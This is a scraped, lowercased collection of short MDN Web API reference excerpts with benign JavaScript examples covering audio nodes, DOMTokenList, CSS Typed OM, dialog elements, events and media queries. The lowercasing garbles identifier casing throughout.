this app { audio: true }, // success callback function(stream) { source = audioctx.createmediastreamsource(stream); }, // error callback function(err) { console.log('the following gum error occured: ' + err); } ); } else { console.log('getusermedia not supported on your browser!'); } source.connect(gainnode); gainnode.connect(audioctx.destination); ..
BaseAudioContext.createPeriodicWave() - Web APIs
var real = new float32array(2); var imag = new float32array(2); var ac = new audiocontext(); var osc = ac.createoscillator(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var wave = ac.createperiodicwave(real, imag, {disablenormalization: true}); osc.setperiodicwave(wave); osc.connect(ac.destination); osc.start(); osc.stop(2);
this works because a sound that contains only a fundamental tone is by definition a sine wave here, we create a periodicwave with two values.
BaseAudioContext.onstatechange - Web APIs
the onstatechange property of the baseaudiocontext interface defines an event handler function to be called when the statechange event fires:
this occurs when the audio context's state changes.
BatteryManager.charging - Web APIs
syntax var charging = battery.charging on return, charging indicates whether or not the battery, which is a batterymanager object, is currently being charged; if the battery is charging,
this value is true.
Blob.size - Web APIs
example
this example uses an <input> element of type file to ask the user for a group of files, then iterates over those files outputting their names and lengths in bytes.
Blob.stream() - Web APIs
this returns an array containing two new readablestream objects, each of which returns the contents of the blob.
Blob.type - Web APIs
example
this example asks the user to select a number of files, then checks each file to make sure it's one of a given set of image file types.
BlobEvent - Web APIs
blobevent.timecode read only a domhighrestimestamp indicating the difference between the timestamp of the first chunk in data and the timestamp of the first chunk in the first blobevent produced by
this recorder.
rssi - Web APIs
this is used to compute the path loss as
this.txpower -
this.rssi.
BudgetState - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
CSS numeric factory functions - Web APIs
requency> css.hz(number); css.khz(number); // <resolution> css.dpi(number); css.dpcm(number); css.dppx(number); // <flex> css.fr(number); examples we use the css.vmax() numeric factory function to create a cssunitvalue: let height = css.vmax(50); console.log( height ); // cssunitvalue {value: 50, unit: "vmax"} console.log( height.value ) // 50 console.log( height.unit ) // vmax in
this example, we set the margin on our element using the css.px() factory function: myelement.attributestylemap.set('margin', css.px(40)); let currentmargin = myelement.attributestylemap.get('margin'); console.log(currentmargin.value, currentmargin.unit); // 40, 'px' specification specification status comment css object model (cssom)the definition of 'numeric factory functio...
CSS.registerProperty() - Web APIs
examples the following will register a custom property, --my-color, using registerproperty(), as a color, give it a default value, and have it not inherit its value: window.css.registerproperty({ name: '--my-color', syntax: '<color>', inherits: false, initialvalue: '#c0ffee', }); in
this example, the custom property --my-color has been registered using the syntax <color> .
CSSKeywordValue.CSSKeywordValue() - Web APIs
#myelement { display: flex; } <div id="myelement">check the developer tools to see the log in the console and to inspect the style attribute on
this div.</div> let keyword = new csskeywordvalue('initial'); let myelement = document.getelementbyid('myelement').attributestylemap; myelement.set('display', keyword); console.log( myelement.get('display').value); // 'initial' console.dir( keyword ); specifications specification status comment css typed om level 1the definition of 'csskeywordvalue' in that specific...
CSSKeywordValue - Web APIs
#myelement { display: flex; } <div id="myelement">check the developer tools to see the log in the console and to inspect the style attribute on
this div.</div> let myelement = document.getelementbyid('myelement').attributestylemap; myelement.set('display', new csskeywordvalue('initial')); console.log( myelement.get('display').value); // 'initial' specifications specification status comment css typed om level 1the definition of 'csskeywordvalue' in that specification.
ChildNode.remove() - Web APIs
rer 9 and higher with the following code: // from:https://github.com/jserz/js_piece/blob/master/dom/childnode/remove()/remove().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('remove')) { return; } object.defineproperty(item, 'remove', { configurable: true, enumerable: true, writable: true, value: function remove() {
this.parentnode.removechild(
this); } }); }); })([element.prototype, characterdata.prototype, documenttype.prototype]); specifications specification status comment domthe definition of 'childnode.remove' in that specification.
Client.type - Web APIs
a document) function sendmessage(message) { return new promise(function(resolve, reject) { // note that
this is the serviceworker.postmessage version navigator.serviceworker.controller.postmessage(message); window.serviceworker.onmessage = function(e) { resolve(e.data); }; }); } // controlling service worker self.addeventlistener("message", function(e) { // e.source is a client object e.source.postmessage("hello!
Client.url - Web APIs
example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); //
this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: 'window' }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status co...
Clients.matchAll() - Web APIs
in chrome 46/firefox 54 and later,
this method returns clients in most recently focused order, correct as per spec.
Clipboard.readText() - Web APIs
example
this example retrieves the textual contents of the clipboard and inserts the returned text into an element's contents.
CrashReportBody - Web APIs
some sample json might look like
this: { "type": "crash", "age": 42, "url": "https://example.com/", "user_agent": "mozilla/5.0 (x11; linux x86_64; rv:60.0) gecko/20100101 firefox/60.0", "body": { "reason": "oom" } } note: crash reports are always delivered to the endpoint group named default; there is currently no way to override
this.
CustomElementRegistry.get() - Web APIs
examples customelements.define('my-paragraph', class extends htmlelement { constructor() { super(); let template = document.getelementbyid('my-paragraph'); let templatecontent = template.content; const shadowroot =
this.attachshadow({mode: 'open'}) .appendchild(templatecontent.clonenode(true)); } }) // return a reference to the my-paragraph constructor let ctor = customelements.get('my-paragraph'); specifications specification status comment html living standardthe definition of 'customelements.get()' in that specification.
CustomElementRegistry - Web APIs
// create a class for the element class wordcount extends htmlparagraphelement { constructor() { // always call super first in constructor super(); // count words in element's parent element var wcparent =
this.parentnode; function countwords(node){ var text = node.innertext || node.textcontent return text.split(/\s+/g).length; } var count = 'words: ' + countwords(wcparent); // create a shadow root var shadow =
this.attachshadow({mode: 'open'}); // create text node and add word count to it var text = document.createelement('span'); text.textcontent = count...
DOMMatrix() - Web APIs
example
this example creates a dommatrix to use as an argument for calling point.matrixtransform().
DOMParser() - Web APIs
this object can be used to parse the text of a document using the parsefromstring() method.
DOMPoint.DOMPoint() - Web APIs
examples
this example creates a dompoint representing the top-left corner of the current window, then creates a second point based on the first, which is then offset by 100 pixels both vertically and horizontally.
DOMPoint.w - Web APIs
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
DOMPoint.x - Web APIs
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
DOMPoint.y - Web APIs
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
DOMPoint.z - Web APIs
this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity).
DOMPointReadOnly.toJSON() - Web APIs
example
this example creates a dompoint object representing the top-left corner of the current window, in screen coordinates, then converts that to json.
DOMRectReadOnly - Web APIs
note that
this constructor cannot be called by 3rd party javascript; doing so returns an "illegal constructor" typeerror.
DOMTokenList.add() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; classes.add("d"); span.textcontent = classes; the output looks like
this: you can add multiple tokens as well: span.classlist.add("d", "e", "f"); specifications specification status comment domthe definition of 'add()' in that specification.
DOMTokenList.contains() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let result = classes.contains("c"); if (result) { span.textcontent = "the classlist contains 'c'"; } else { span.textcontent = "the classlist does not contain 'c'"; } the output looks like
this: specifications specification status comment domthe definition of 'contains()' in that specification.
DOMTokenList.item() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let item = classes.item(classes.length-1); span.textcontent = item; the output looks like
this: specifications specification status comment domthe definition of 'item()' in that specification.
DOMTokenList.length - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let length = classes.length; span.textcontent = `classlist length = ${length}`; the output looks like
this: specifications specification status comment domthe definition of 'length' in that specification.
DOMTokenList.remove() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; classes.remove("c"); span.textcontent = classes; the output looks like
this: to remove multiple classes at once, you can supply multiple tokens.
DOMTokenList.toggle() - Web APIs
>classlist is 'a b'</span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; span.addeventlistener('click', function() { let result = classes.toggle("c"); if (result) { span.textcontent = `'c' added; classlist is now "${classes}".`; } else { span.textcontent = `'c' removed; classlist is now "${classes}".`; } }) the output looks like
this: specifications specification status comment domthe definition of 'toggle()' in that specification.
DOMTokenList.value - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; span.textcontent = classes.value; the output looks like
this: specifications specification status comment domthe definition of 'value' in that specification.
DOMTokenList.values() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: var span = document.queryselector("span"); var classes = span.classlist; var iterator = classes.values(); for(var value of iterator) { span.textcontent += value + ' ++ '; } the output looks like
this: specifications specification status comment domthe definition of 'values() (as iterable<node>)' in that specification.
DedicatedWorkerGlobalScope.close() - Web APIs
the close() method of the dedicatedworkerglobalscope interface discards any tasks queued in the dedicatedworkerglobalscope's event loop, effectively closing
this particular scope.
DedicatedWorkerGlobalScope: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples
this code creates a new worker and sends it a message using worker.postmessage(): const worker = new worker("static/scripts/worker.js"); worker.addeventlistener('message', (event) => { console.log(`received message from worker: ${event.data}`) }); the worker can listen for
this message using addeventlistener(): // inside static/scripts/worker.js self.addeventlistener('message', (event) => { console.log(`received message from parent: ${event.data}`); });...
DedicatedWorkerGlobalScope.onmessage - Web APIs
g('message received from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message back to main script'); postmessage(workerresult); } notice how in the main script, onmessage has to be called on myworker, whereas inside the worker script you just need onmessage because the worker is effectively the global scope (the dedicatedworkerglobalscope, in
this case).
DelayNode() - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
DelayNode.delayTime - Web APIs
var synthsource; playsynth.onclick = function() { synthsource = audioctx.createbuffersource(); synthsource.buffer = buffers[2]; synthsource.loop = true; synthsource.start(); synthsource.connect(synthdelay); synthdelay.connect(destination);
this.setattribute('disabled', 'disabled'); } stopsynth.onclick = function() { synthsource.disconnect(synthdelay); synthdelay.disconnect(destination); synthsource.stop(); playsynth.removeattribute('disabled'); } ...
DelayNode - Web APIs
var synthsource; playsynth.onclick = function() { synthsource = audioctx.createbuffersource(); synthsource.buffer = buffers[2]; synthsource.loop = true; synthsource.start(); synthsource.connect(synthdelay); synthdelay.connect(destination);
this.setattribute('disabled', 'disabled'); } stopsynth.onclick = function() { synthsource.disconnect(synthdelay); synthdelay.disconnect(destination); synthsource.stop(); playsynth.removeattribute('disabled'); } ...
Using light sensors - Web APIs
you are working in a dark environment'); bodybg.backgroundcolor="lightgrey"; } else { bodybg.backgroundcolor="#fff"; } });
this example shows how the api can actually be used in the wild.
DeviceLightEvent - Web APIs
for example
this may be useful to adjust the screen's brightness based on the current ambient light level in order to save energy or provide better readability.
DeviceMotionEvent.accelerationIncludingGravity - Web APIs
this value is not typically as useful as devicemotionevent.acceleration, but may be the only value available on devices that aren't able of removing gravity from the acceleration data, such as on devices that don't have a gyroscope.
DisplayMediaStreamConstraints - Web APIs
properties audio a boolean or mediatrackconstraints value; if a boolean,
this value simply indicates whether or not to include an audio track in the mediastream returned by getdisplaymedia().
Document: DOMContentLoaded event - Web APIs
examples basic usage document.addeventlistener('domcontentloaded', (event) => { console.log('dom fully loaded and parsed'); }); delaying domcontentloaded <script> document.addeventlistener('domcontentloaded', (event) => { console.log('dom fully loaded and parsed'); }); for( let i = 0; i < 1000000000; i++) {} //
this synchronous script is going to delay parsing of the dom, // so the domcontentloaded event is going to launch later.
Document.clear() - Web APIs
in recent versions of mozilla-based applications, as well as in internet explorer and netscape 4,
this method does nothing.
Document.createComment() - Web APIs
example var docu = new domparser().parsefromstring('<xml></xml>', 'application/xml'); var comment = docu.createcomment('
this is a not-so-secret comment in your document'); docu.getelementsbytagname('xml')[0].appendchild(comment); alert(new xmlserializer().serializetostring(docu)); // displays: <xml><!--
this is a not-so-secret comment in your document--></xml> specifications specification status comment domthe definition of 'document.createcomment' in that specification.
Document.createDocumentFragment() - Web APIs
you can also use the documentfragment constructor to create a new fragment: let fragment = new documentfragment(); example
this example creates a list of major web browsers in a documentfragment, then adds the new dom subtree to the document to be displayed.
Document: keydown event - Web APIs
to ignore all keydown events that are part of composition, do something like
this (229 is a special value set for a keycode relating to an event that has been processed by an ime): eventtarget.addeventlistener("keydown", event => { if (event.iscomposing || event.keycode === 229) { return; } // do something }); examples addeventlistener keydown example
this example logs the keyboardevent.code value whenever you press down a key.
Document: keyup event - Web APIs
to ignore all keyup events that are part of composition, do something like
this (229 is a special value set for a keycode relating to an event that has been processed by an ime): eventtarget.addeventlistener("keyup", event => { if (event.iscomposing || event.keycode === 229) { return; } // do something }); examples
this example logs the keyboardevent.code value whenever you release a key.
Document.location - Web APIs
this means that you can work with document.location as if it were a string in most cases: document.location = 'http://www.example.com' is a synonym of document.location.href = 'http://www.example.com'.
Document: lostpointercapture event - Web APIs
bubbles no cancelable no interface pointerevent event handler property onlostpointercapture examples
this example listens for the lostpointercapture event, and captures the pointer for an element on pointerdown.
Document.mozSyntheticDocument - Web APIs
example
this can be useful if you have a contextual menu item you only want to display for synthetic documents (or, conversely, for documents that aren't synthetic).
Document.queryCommandState() - Web APIs
example html <div contenteditable="true">select a part of
this text!</div> <button onclick="makebold();">test the state of the 'bold' command</button> javascript function makebold() { var state = document.querycommandstate("bold"); switch (state) { case true: alert("the bold formatting will be removed from the selected text."); break; case false: alert("the selected text will be displayed in bold."); break; case null: al...
Document.styleSheetSets - Web APIs
example given an <ul> (list) element with the id "sheetlist", you can populate it with the names of all the available style sheet sets with code like
this: let list = document.getelementbyid('sheetlist'); let sheets = document.stylesheetsets; list.innerhtml = ''; for (let i = 0; i < sheets.length; i++) { let item = document.createelement('li'); item.innerhtml = sheets[i]; list.appendchild(item); } notes the list of available style sheet sets is constructed by enumerating all the style sheets available for the document, in the order in which they're listed in...
Document.title - Web APIs
example <!doctype html> <html> <head> <title>hello world!</title> </head> <body> <script> alert(document.title); // displays "hello world!" document.title = "goodbye world!"; alert(document.title); // displays "goodbye world!" </script> </body> </html> notes
this property applies to html, svg, xul, and other documents in gecko.
Element.hasAttribute() - Web APIs
example var foo = document.getelementbyid("foo"); if (foo.hasattribute("bar")) { // do something } polyfill ;(function(prototype) { prototype.hasattribute = prototype.hasattribute || function(name) { return !!(
this.attributes[name] &&
this.attributes[name].specified); } })(element.prototype); notes dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom ...
Element.hasAttributes() - Web APIs
examples let foo = document.getelementbyid('foo'); if (foo.hasattributes()) { // do something with 'foo.attributes' } polyfill ;(function(prototype) { prototype.hasattributes = prototype.hasattributes || function() { return (
this.attributes.length > 0); } })(element.prototype); specifications specification status comment domthe definition of 'element.hasattributes()' in that specification.
Element.hasPointerCapture() - Web APIs
} } function init() { const el = document.getelementbyid("target"); el.onpointerdown = downhandler; } </script> <body onload="init();"> <div id="target">touch
this element with a pointer.</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'haspointercapture()' in that specification.
Element.insertAdjacentText() - Web APIs
polyfill you can polyfill the insertadjacenttext() method in internet explorer 5.5 (maybe earlier) and higher with the following code: if (!element.prototype.insertadjacenttext) element.prototype.insertadjacenttext = function(type, txt){
this.insertadjacenthtml( type, (txt+'') // convert to string .replace(/&/g, '&') // embed ampersand symbols .replace(/</g, '<') // embed less-than symbols ) } specification specification status comment domthe definition of 'insertadjacenttext()' in that specification.
Element: keydown event - Web APIs
to ignore all keydown events that are part of composition, do something like
this (229 is a special value set for a keycode relating to an event that has been processed by an ime): eventtarget.addeventlistener("keydown", event => { if (event.iscomposing || event.keycode === 229) { return; } // do something }); examples addeventlistener keydown example
this example logs the keyboardevent.code value whenever you press down a key inside the <input> element.
Element: keyup event - Web APIs
to ignore all keyup events that are part of composition, do something like
this (229 is a special value set for a keycode relating to an event that has been processed by an ime): eventtarget.addeventlistener("keyup", event => { if (event.iscomposing || event.keycode === 229) { return; } // do something }); examples addeventlistener keyup example
this example logs the keyboardevent.code value whenever you release a key inside the <input> element.
Element: mousedown event - Web APIs
note:
this differs from the click event in that click is fired after a full click action occurs; that is, the mouse button is pressed and released while the pointer remains inside the same element.
Element: mouseenter event - Web APIs
arget { box-sizing: border-box; width:15rem; border:1px solid #333; } javascript var entereventcount = 0; var leaveeventcount = 0; const mousetarget = document.getelementbyid('mousetarget'); const unorderedlist = document.getelementbyid('unorderedlist'); mousetarget.addeventlistener('mouseenter', e => { mousetarget.style.border = '5px dotted orange'; entereventcount++; addlistitem('
this is mouseenter event ' + entereventcount + '.'); }); mousetarget.addeventlistener('mouseleave', e => { mousetarget.style.border = '1px solid #333'; leaveeventcount++; addlistitem('
this is mouseleave event ' + leaveeventcount + '.'); }); function addlistitem(text) { // create a new text node using the supplied text var newtextnode = document.createtextnode(text); // create a new li e...
Element: mouseout event - Web APIs
when you try
this out, you'll find that mouseout is delivered to the individual list items, while mouseleave goes to the overall list, courtesy of the hierarchy of the items and the fact that list items obscure the underlying <ul>.
Element: mouseover event - Web APIs
html <ul id="test"> <li>item 1</li> <li>item 2</li> <li>item 3</li> </ul> javascript let test = document.getelementbyid("test"); //
this handler will be executed only once when the cursor // moves over the unordered list test.addeventlistener("mouseenter", function( event ) { // highlight the mouseenter target event.target.style.color = "purple"; // reset the color after a short delay settimeout(function() { event.target.style.color = ""; }, 500); }, false); //
this handler will be executed every time the cursor //...
Element: overflow event - Web APIs
the overflow event is fired when an element has been overflowed by its content or has been rendered for the first time in
this state (only works for elements styled with overflow != visible).
Element.part - Web APIs
let tabs = []; let children =
this.shadowroot.children; for(let elem of children) { if(elem.getattribute('part')) { tabs.push(elem); } } tabs.foreach((tab) => { tab.addeventlistener('click', (e) => { tabs.foreach((tab) => { tab.part = 'tab'; }) e.target.part = 'tab active'; }) console.log(tab.part); }) specifications specification status comment shadow partsthe defin...
Element.scrollWidth - Web APIs
if the element's content can fit without a need for horizontal scrollbar, its scrollwidth is equal to clientwidth
this property will round the value to an integer.
Element: select event - Web APIs
examples selection logger <input value="try selecting some text in
this element."> <p id="log"></p> function logselection(event) { const log = document.getelementbyid('log'); const selection = event.target.value.substring(event.target.selectionstart, event.target.selectionend); log.textcontent = `you selected: ${selection}`; } const input = document.queryselector('input'); input.addeventlistener('select', logselection); onselect equivalent you can also se...
Element.slot - Web APIs
living standard browser compatibility the compatibility table on
this page is generated from structured data.
Element.tagName - Web APIs
this string's capitalization depends on the document type: for dom trees which represent html documents, the returned tag name is always in the canonical upper-case form.
Element.toggleAttribute() - Web APIs
etattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - polyfill if (!element.prototype.toggleattribute) { element.prototype.toggleattribute = function(name, force) { if(force !== void 0) force = !!force if (
this.hasattribute(name)) { if (force) return true;
this.removeattribute(name); return false; } if (force === false) return false;
this.setattribute(name, ""); return true; }; } specification specification status comment domthe definition of 'element.toggleattribute' in that specification.
ElementCSSInlineStyle - Web APIs
when getting, it returns a cssstyledeclaration object that contains a list of all styles properties for that element with values assigned for the attributes that are defined in the element's inline style attribute.methods
this interface has no methods.
ElementTraversal - Web APIs
it has been split into two interfaces, containing the useful methods and properties for each kind of nodes: childnode parentnode as it was a pure interface, with no object of
this type,
this change has no effect on the web.
Encoding API - Web APIs
interfaces textdecoder textencoder textdecoderstream textencoderstream tutorials & tools a shim allowing to use
this interface in browsers that don't support it.
Event.currentTarget - Web APIs
function hide(e){ e.currenttarget.style.visibility = 'hidden'; console.log(e.currenttarget); // when
this function is used as an event handler:
this === e.currenttarget } var ps = document.getelementsbytagname('p'); for(var i = 0; i < ps.length; i++){ // console: print the clicked <p> element ps[i].addeventlistener('click', hide, false); } // console: print <body> document.body.addeventlistener('click', hide, false); // click around and make paragraphs disappear note: the value of event.cur...
Event.stopPropagation() - Web APIs
examples see example 5: event propagation in the examples chapter for a more detailed example of
this method and event propagation in the dom.
Event.target - Web APIs
// make a list const ul = document.createelement('ul'); document.body.appendchild(ul); const li1 = document.createelement('li'); const li2 = document.createelement('li'); ul.appendchild(li1); ul.appendchild(li2); function hide(evt) { // e.target refers to the clicked <li> element //
this is different than e.currenttarget, which would refer to the parent <ul> in
this context evt.target.style.visibility = 'hidden'; } // attach the listener to the list // it will fire when each <li> is clicked ul.addeventlistener('click', hide, false); specifications specification status comment domthe definition of 'event.target' in that specification.
Event.type - Web APIs
example
this example logs the event type whenever you press a keyboard key or click a mouse button.
EventSource: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property eventsource.onmessage examples in
this basic example, an eventsource is created to receive events from the server; a page with the name sse.php is responsible for generating the events.
EventTarget() - Web APIs
examples class myeventtarget extends eventtarget { constructor(mysecret) { super();
this._secret = mysecret; } get secret() { return
this._secret; } }; let myeventtarget = new myeventtarget(5); let value = myeventtarget.secret; // == 5 myeventtarget.addeventlistener("foo", function(e) {
this._secret = e.detail; }); let event = new customevent("foo", { detail: 7 }); myeventtarget.dispatchevent(event); let newvalue = myeventtarget.secret; // == 7 specifications specification status comment domthe definition of 'eventtarget() constructor' in that specificati...
ExtendableEvent() - Web APIs
currently no possible options exist inside the spec, but
this has been defined for forward compatibility across the different derived events.
HTMLCollection.item - Web APIs
example var c = document.images; //
this is an htmlcollection var img0 = c.item(0); // you can use the item() method
this way var img1 = c[1]; // but
this notation is easier and more common ...
HTMLContentElement.select - Web APIs
syntax object.select = "cssselector cssselector ..."; example // select <h1> elements and elements with class="error" mycontentobject.select = "h1 .error"; specifications
this feature is no longer defined by any standards.
HTMLDetailsElement - Web APIs
events listen to
this event using addeventlistener() or by assigning an event listener to the oneventname property of
this interface.
HTMLDialogElement.close() - Web APIs
// update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventlistener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> note: you can find
this example on github as htmldialogelement-basic (see it live also).
HTMLDialogElement: close event - Web APIs
'.example-dialog'); dialog.addeventlistener('close', (event) => { result.textcontent = 'dialog was closed'; }); const opendialog = document.queryselector('.open-dialog'); opendialog.addeventlistener('click', () => { if (typeof dialog.showmodal === 'function') { dialog.showmodal(); result.textcontent = ''; } else { result.textcontent = 'the dialog api is not supported by
this browser'; } }); const closebutton = document.queryselector('.close'); closebutton.addeventlistener('click', () => { dialog.close(); }); result specifications specification status html living standardthe definition of 'close' in that specification.
HTMLDialogElement.open - Web APIs
// update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventlistener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> note: you can find
this example on github as htmldialogelement-basic (see it live also).
HTMLDialogElement.returnValue - Web APIs
} else if (returnvalue === 'confirm') { // user chose a favorite animal, do something with it } } // “update details” button opens the <dialog> modally updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); handleuserinput(dialog.returnvalue); }); })(); </script> note: you can find
this example on github as htmldialogelement-basic (see it live also).
HTMLDialogElement.showModal() - Web APIs
// update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventlistener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> note: you can find
this example on github as htmldialogelement-basic (see it live also).
HTMLDialogElement - Web APIs
// update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventlistener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> note: you can find
this example on github as htmldialogelement-basic (see it live also).
HTMLElement: animationend event - Web APIs
bubbles yes cancelable no interface animationevent event handler property onanimationend examples
this example gets an element that's being animated and listens for the animationend event: const animated = document.queryselector('.animated'); animated.addeventlistener('animationend', () => { console.log('animation ended'); }); the same, but using the onanimationend event handler property: const animated = document.queryselector('.animated'); animated.onanimationend = () => { console.log('...
HTMLElement: beforeinput event - Web APIs
bubbles yes cancelable yes interface inputevent event handler property none sync / async sync composed yes default action update the dom element examples
this example logs current value of the element immediately before replacing that value with the new one applied to the <input> element.
contentDocument - Web APIs
example of contentdocument var iframedocument = document.getelementsbytagname("iframe")[0].contentdocument; iframedocument.body.style.backgroundcolor = "blue"; //
this would turn the iframe blue.
Image() - Web APIs
examples var myimage = new image(100, 200); myimage.src = 'picture.jpg'; document.body.appendchild(myimage);
this would be the equivalent of defining the following html tag inside the <body>: <img width="100" height="200" src="picture.jpg"> specifications specification status comment html living standardthe definition of 'image()' in that specification.
HTMLLabelElement.control - Web APIs
if
this property has a value and htmllabelelement.htmlfor has a value, the htmllabelelement.htmlfor property must refer to the same control.
HTMLLinkElement.rel - Web APIs
the most common use of
this attribute is to specify a link to an external style sheet: the property is set to stylesheet, and the href attribute is set to the url of an external style sheet to format the page.
HTMLMarqueeElement - Web APIs
examples <marquee>
this text will scroll from right to left</marquee> <marquee direction="up">
this text will scroll from bottom to top</marquee> <marquee direction="down" width="250" height="200" behavior="alternate" style="border:solid"> <marquee behavior="alternate">
this text will bounce </marquee> </marquee> specifications specification status comment html living standardthe def...
HTMLMediaElement.controlsList - Web APIs
specifications specification status comment controls list api: solution outline browser compatibility the compatibility table on
this page is generated from structured data.
HTMLMediaElement: emptied event - Web APIs
the emptied event is fired when the media has become empty; for example,
this event is sent if the media has already been loaded (or partially loaded), and the load() method is called to reload it.
HTMLMediaElement: loadeddata event - Web APIs
bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onloadeddata specification html5 media note that
this event will not fire in mobile/tablet devices if data-saver is on in browser settings.
HTMLMediaElement.pause() - Web APIs
the htmlmediaelement.pause() method will pause playback of the media, if the media is already in a paused state
this method will have no effect.
HTMLMenuElement - Web APIs
/api/htmlmenuelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmenuelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no properties, but inherits properties from: htmlelementmethods
this interface has no methods, but inherits methods from: htmlelement specifications specification status comment html living standardthe definition of 'htmlmenuelement' in that specification.
HTMLMenuItemElement - Web APIs
lmenuitemelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmenuitemelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no properties, but inherits properties from: htmlelementmethods
this interface has no methods, but inherits methods from: htmlelement specifications specification status comment html 5.1the definition of 'htmlmenuitemelement' in that specification.
Long Tasks API - Web APIs
} }); // register observer for long task notifications observer.observe({entrytypes: ["longtask"]}); // long script execution after
this will result in queueing // and receiving "longtask" entries in the observer.
MIDIInput - Web APIs
event handlers midiinput.onmidimessage when the current port receives a midimessage it triggers a call to
this event handler.
MathMLElement - Web APIs
properties
this interface has no properties, but inherits properties from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement methods
this interface has no methods, but inherits methods from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement examples mathml <math xmlns="http://www.w3.org/1998/math/mathml"> <msqrt> <mi>x</mi> </msqrt> </math> javascript document.queryselector('msqrt').constructor.name; // mathmlelement specifications specification status comment mathmlelement interface ...
MediaDeviceInfo.label - Web APIs
the label readonlyinline property of the mediadeviceinfo interface returns a domstring, that is a label describing
this device (for example "external usb webcam").
MediaDevices.enumerateDevices() - Web APIs
navigator.mediadevices.enumeratedevices() .then(function(devices) { devices.foreach(function(device) { console.log(device.kind + ": " + device.label + " id = " + device.deviceid); }); }) .catch(function(err) { console.log(err.name + ": " + err.message); });
this might produce: videoinput: id = cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: id = rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: id = r2/xw1xupiyzunfv1lgrkoma5wtovckwfz368xcndm0= or if one or more mediastreams are active or persistent permissions are granted: videoinput: facetime hd camera (built-in) id=cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: default (bu...
MediaQueryList.matches - Web APIs
examples
this example detects viewport orientation changes by creating a media query using the orientation media feature: function addmqlistener(mq, callback) { if (mq.addeventlistener) { mq.addeventlistener("change", callback); } else { mq.addlistener(callback); } } addmqlistener(window.matchmedia("(orientation:landscape)"), event => { if (event.matches) { /* now in landscape orien...
MediaQueryList.media - Web APIs
examples
this example runs the media query (max-width: 600px) and displays the value of the resulting mediaquerylist's media property in a <span>.
MediaQueryList.onchange - Web APIs
}; example var mql = window.matchmedia('(max-width: 600px)'); mql.addeventlistener( "change", (e) => { if (e.matches) { /* the viewport is 600 pixels wide or less */ console.log('
this is a narrow screen — less than 600px wide.') } else { /* the viewport is more than than 600 pixels wide */ console.log('
this is a wide screen — more than 600px wide.') } }) specifications specification status comment css object model (cssom) view modulethe definition of 'onchange' in that specification.
MediaQueryListEvent.matches - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = '
